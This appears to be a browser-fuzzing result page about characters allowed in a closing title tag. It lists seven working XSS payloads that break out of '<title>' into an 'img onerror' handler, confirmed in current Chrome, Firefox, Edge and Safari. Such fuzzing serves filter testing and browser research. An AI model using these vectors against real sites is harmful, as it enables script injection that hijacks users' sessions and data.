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Closing title tag name separators

Chrome logo 7
Firefox logo 7
Edge logo 7
Safari logo 7

Characters allowed </title[here]> without breaking the tag from closing.

ola456
Created byola456
Created Sep 15, 2025
Updated Sep 15, 2025

Tweet
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CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<title>abc</title$[chr]><img src=x onerror=log($[i])>

Sample payloads

<title>abc</title0x09><img src=x onerror=alert(9)>
<title>abc</title
><img src=x onerror=alert(10)>
<title>abc</title0x0C><img src=x onerror=alert(12)>
<title>abc</title0x0D><img src=x onerror=alert(13)>
<title>abc</title ><img src=x onerror=alert(32)>
<title>abc</title/><img src=x onerror=alert(47)>
<title>abc</title>><img src=x onerror=alert(62)>

Fuzz results

Chrome logo
Chrome 144.0.0.0 desktop Windows NT 10.0
Updated8 Feb 2026
Found 7 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7
Updated11 Feb 2026
Found 7 results
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Chrome logo
Chrome 139.0.0.0 desktop Linux Unknownolder version
Updated17 Sept 2025
Found 7 results
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Firefox logo
Firefox 147.0 desktop macOS 10.15
Updated31 Jan 2026
Found 7 results
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Edge logo
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0
Updated26 Jan 2026
Found 7 results
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Safari logo
Safari 26.2 desktop macOS 10.15.7
Updated31 Jan 2026
Found 7 results
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